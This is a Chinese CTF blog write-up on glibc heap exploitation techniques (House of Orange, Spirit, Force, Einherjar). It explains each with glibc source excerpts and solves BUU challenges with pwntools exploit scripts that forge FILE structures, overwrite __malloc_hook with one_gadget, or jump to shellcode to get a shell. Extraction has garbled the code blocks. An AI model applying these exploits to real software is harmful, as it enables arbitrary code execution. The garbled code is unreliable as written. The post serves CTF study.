该系列内容较多,将会持续更新
House of Roman 爆破概率太低,不建议使用,了解一下利用思路即可
House of Orange 版本 glibc-2.24及以下。
先介绍一下一个重点知识:如果在分配堆块时, top chunk 不够分配,那么根据申请的大小,会通过sysmalloc 来分配,如果申请的大小小于mmap的阀值的话,就会扩展top chunk,将old top chunk free掉,如果大于的话,就会通过mmap申请一块新的堆块。所以可以通过把 top chunk size 改小这种方式让 top chunk 进入unsorted bin 中,从而产生 libc 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if  (av == NULL unsigned  long ) (nb) >= (unsigned  long ) (mp_.mmap_threshold)char  *mm;           if  (old_size != 0 )4  * SIZE_SZ) & ~MALLOC_ALIGN_MASK;2  * SIZE_SZ) | PREV_INUSE);2  * SIZE_SZ),2  * SIZE_SZ) | PREV_INUSE);if  (old_size >= MINSIZE)1 );
house of orange 利用过程:
修改一个 unsorted chunk 的size字段为0x60,利用 unsorted bin attack 将 _IO_list_all 修改为 main_arena+0x58,而IO_list_all 中的 *chain 指针位于 _IO_list_all + 0x68 的位置:即main_arena + 0x58 + 0x68 是 small bin中大小为0x60的位置,所以需要将 chunk 的size修改为0x60,让该 chunk 链入 small bin 的相应位置上,在其上布置好伪造的 _IO_FILE_plus,那么就形成了一个伪造的 chain 链。伪造这些后,只要再分配一个chunk,就会触发malloc_printerr,会遍历IO_llist_all,最终调用 IO_overflow函数
malloc_printerr:
1 2 3 4 if  (__builtin_expect (chunksize_nomask (victim) <= 2  * SIZE_SZ, 0 )0 ))"malloc(): memory corruption" );
触发 malloc_printerr 后,会形成下列调用链:
1 2 mallloc_printerr-> __libc_message—>abort ->flush->_IO_flush_all_lock->_IO_OVERFLOW
_IO_flush_all_lockp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 _IO_flush_all_lockp (int  do_lock)int  result = 0 ;#ifdef  _IO_MTSAFE_IO #endif  for  (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain)if  (do_lock)if  (((fp->_mode <= 0  && fp->_IO_write_ptr > fp->_IO_write_base)0 0  && (fp->_wide_data->_IO_write_ptrif  (do_lock)NULL ;#ifdef  _IO_MTSAFE_IO 0 );#endif  return  result;
所以伪造的 _IO_FILE_plus 要通过下列检查:
1 2 3 4 5 6 7 1. ((fp->_mode <= 0  && fp->_IO_write_ptr > fp->_IO_write_base)2. 0  0  
例题 来自buu的题目,程序不存在 delete 函数,无法释放堆块,所以要用到前面的修改 top chunk size 的方法,从而得到 libc 地址。
image-20220313210805600 
漏洞点在于 edit 函数,对于写入的个数没做严格的限制,可以写入大于申请堆块长度的内容,从而存在堆溢出。
image-20220313210907191 
伪造 IO_FILE_plus 后的成果如下:
image-20220313170817299 
image-20220313170916290 
最终只能在本地getshell
image-20220313173210640 
远程一直都是显示 dumped core
image-20220313173230192 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./house_of_orange" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" )"/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" )"LD_PRELOAD"  : libc.path})"node4.buuoj.cn" , 26547 )def  debug ():"b main" )def  add (size, content ):": " ,'1' )"Length of name :" )str (size))"Name :" )"Price of Orange:" )str (520 ))"Color of Orange:" )str (3 ))def  edit (content ):": " ,'3' )"Length of name :" )str (len (content)))"Name:" )"Price of Orange:" )str (520 ))"Color of Orange:" )str (3 ))def  show ():": " ,'2' )0x30 , 'a' )'a' *0x38  + p64(0x21 ) + 'a' *0x18  + p64(0xf81 )0x1000 , 'a' )0x400 , 'a' *0x8 )"aaaaaaaa" )6 ).ljust(8 ,'\x00' )) - 0x3c5188 "libc_base==>0x%x"  %libc_base)'_IO_list_all' ] + libc_base'system' ] 'a' *0x10 )"a" *0x10 )6 ).ljust(8 ,'\x00' )) - 0xe0 "heap_base==>0x%x"  %heap_base)0x5e8 "/bin/sh\x00"  + p64(0x61 )0 ) + p64(_IO_list_all-0x10 )1 ) + p64(2 ) 0xc0 , "\x00" )0 ) 0 )0 )0 )*2 'a' *0x400  + p64(0 ) + p64(0x21 ) + 'a' *0x10 
House of Spirit 技术来源:https://www.anquanke.com/post/id/85357 
House of Spirit(下面称为hos)算是一个组合型漏洞的利用,是变量覆盖和堆管理机制的组合利用,关键在于能够覆盖一个堆指针变量,使其指向可控的区域,只要构造好数据,释放后系统会错误的将该区域作为堆块放到相应的fast bin里面,最后再分配出来的时候,就有可能改写我们目标区域。
适用范围:到glibc-2.34依然可用
使用条件 (1)想要控制的目标区域的前段空间与后段空间都是可控的内存区域
一般来说想要控制的目标区域多为返回地址或是一个函数指针,正常情况下,该内存区域我们输入的数据是无法控制的,想要利用hos攻击技术来改写该区域,首先需要我们可以控制那片目标区域的前面空间和后面空间,示意图如下
http://p7.qhimg.com/t01c4e1f8669a8b77bd.png 
(2)存在可将堆变量指针覆盖为指向可控区域,即上一步中的区域 
 
利用思路 (1)伪造堆块,在可控1及可控2(可控2的伪造size不能小于2*SIZE_SZ且不能大于已分配内存)构造好数据,将它伪造成一个fast chunk。
(2)覆盖堆指针指向上一步伪造的堆块。
(3)释放堆块,将伪造的堆块释放入fast bin里面。
(4)申请堆块,将刚刚释放的堆块申请出来,最终使得可以往目标区域中写入数据,实现目的。
第一步中的伪造堆块的过程,fastbin是一个单链表结构,遵循FIFO的规则,32位系统中fastbin的大小是在1664字节之间,64位是在32128字节之间。释放时会进行一些检查,所以需要对伪堆块中的数据进行构造,使其顺利的释放进到fastbin里面
注:fake_chunk的堆头标志位只能为0或者1(如0x70,0x71),其他两个标志位是会影响到堆块的释放的。
例题BUU-lctf2016pwn200 image-20210905204052044 
常规checksec一下,保护基本没开。
image-20210905204120841 
这里的输入存在漏洞,填满可以泄露出rsp上的值,获得栈上地址
http://p8.qhimg.com/t01eb7870c8fa4fde39.png 
目标地址的构造为上图所示,在money中输入的是伪堆块的size,在id里输入的是下一个堆块的size,以此绕过free释放堆块时候系统的检查
image-20210905204549591 
然后就是:
(1)覆盖堆指针,在输入money的时候,会覆盖堆块。
(2)调用free函数将伪堆块释放到fastbin中
(3)申请堆块,将刚刚的伪堆块申请出来
(4)输入数据,即可修改目标区域,eip,使其指向shellcode
image-20210905230703667 
这是构造出来的fake_chunk,后面就是要把这块释放了,然后再申请回来,把0x400b34这个地址覆盖为shellcode,即可在退出程序时返回到shellcode去执行
image-20210905212358111 
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from  pwn import  *'debug' './pwn200' )0x0000000000602018 'amd64' )'' 48 )'who are u?\n' )6 ).ljust(8 , '\x00' ))0x50  print  "shellcode_addr: " , hex (shellcode_addr)0x90  'give me your id ~~?\n' )'33' ) 'give me money~\n' )0 ) * 4  + p64(0 ) + p64(0x41 )      0x38 , '\x00' ) + p64(fake_addr)print  data'choice : ' )'2' )     'choice : ' )'1' )     'long?' )'48' )'48' )  'a'  * 0x18  + p64(shellcode_addr) 'choice' )'3' )
House of Force 来源:ctf.wiki
House Of Force 产生的原因在于 glibc 对 top chunk 的处理,进行堆分配时,如果所有空闲的块都无法满足需求,那么就会从 top chunk 中分割出相应的大小作为堆块的空间。
那么,当使用 top chunk 分配堆块的 size 值是由用户控制的任意值时会发生什么?答案是,可以使得 top chunk指向我们期望的任何位置,这就相当于一次任意地址写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if  ((unsigned  long ) (size) >= (unsigned  long ) (nb + MINSIZE)) 0 ));void  *p = chunk2mem(victim);return  p;
这是top chunk在分配堆块时会执行的操作的源码,会对用户请求的size和 top chunk 现有的 size 进行验证,并且将会更新top chunk位置,以及size
我们主要关心的是对于size的验证:
1 (unsigned  long ) (size) >= (unsigned  long ) (nb + MINSIZE) 
所以,设想一下:如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证。一般的做法是把 top chunk 的 size 改为-1,因为在进行比较时会把 size 转换成无符号数,因此 -1 也就是说unsigned long 中最大的数,所以无论如何都可以通过验证。
1 2 3 if  (__glibc_unlikely (size > av->system_mem))"malloc(): corrupted top size" );
在glibc-2.29时增加了检查,size要小于等于system_mems,所以该方法在glibc-2.29以后失效了
利用条件 综合上面的背景,我们可以得出,要想利用House of Force,要有以下条件:
例题BUU-gyctf_2020_force image-20210916151101226 
常规checksec一下,64位保护全开
image-20210916153042695 
image-20210916153101689 
进入IDA,总共就两个功能:一个是申请堆块,堆块大小无限制,并且能返回给堆地址,然后填入内容是固定长度0x50;另外一个puts功能。。。屁用没有!因为存在固定长度的写入,那么只要申请一个小堆块就可以进行溢出修改top chunk的size位,所以House of Force的两个条件都达成了
image-20210916163309864 
因为程序会返回堆的地址,程序又不限制堆块的大小,所以我们可以申请一个大于top chunk的堆块,那么程序就会调用mmap进行分配堆块,此时堆块的地址会是libc中的一个地址
image-20210916163532720 
image-20210916205725583 
image-20210916205619022 
然后申请一个小于0x50的堆块,让堆块能进行溢出覆盖top chunk的size位,修改为-1(也就是0xFFFFFFFFFFFFFFFF),同时也借着这个堆块能获取到top chunk的地址。然后直接申请一个超大堆块,直接占满top chunk与__malloc_hook之间长度,然后再申请一个堆块去修改hook的为one_gadget即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *'amd64' ,os = 'linux' ,log_level = 'debug' )"./gyctf_2020_force" )"./libc-2.23.so" )"node4.buuoj.cn" ,28894 )def  debug ():"b main" )def  add (size,content ):"2:puts\n" ,'1' )"size\n" )str (size))"0x" )int (p.recv(12 ),16 )"content\n" )return  addrdef  show (idx ):"2:puts\n" ,'2' )"index:" )str (idx))''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints:   rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints:   [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints:   [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints:   [rsp+0x70] == NULL ''' 0x200000 ,'a' ) + 0x200ff0 "libc_base==>0x%x"  %libc_base)'__malloc_hook' ]0x4527a '__libc_realloc' ]0x18 ,'b' *0x10  + p64(0 ) + p64(0xFFFFFFFFFFFFFFFF )) + 0x10  "top_chunk==>0x%x"  %top_chunk)0x33 ,'a' )0x10 ,'a' *0x8  + p64(ogg) + p64(realloc + 0x10 ))"2:puts\n" ,'1' )"size\n" )str (0x10 ))
House Of Einherjar 其实看完wiki,感觉就是 offbyone&null 的利用方式,借着溢出修改下一个堆块的in_use位置,然后造成unlink制造出堆块重叠,所以就不过多介绍了,看我的 offbyone&null 这篇博客是一样的,而且我还更新了新版本的利用,当然,是来自大佬的,我只是个搬运工👶
过程:
需要有溢出漏洞可以修改物理相邻的高地址的 prev_size 与 INUSE 部分。 
在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。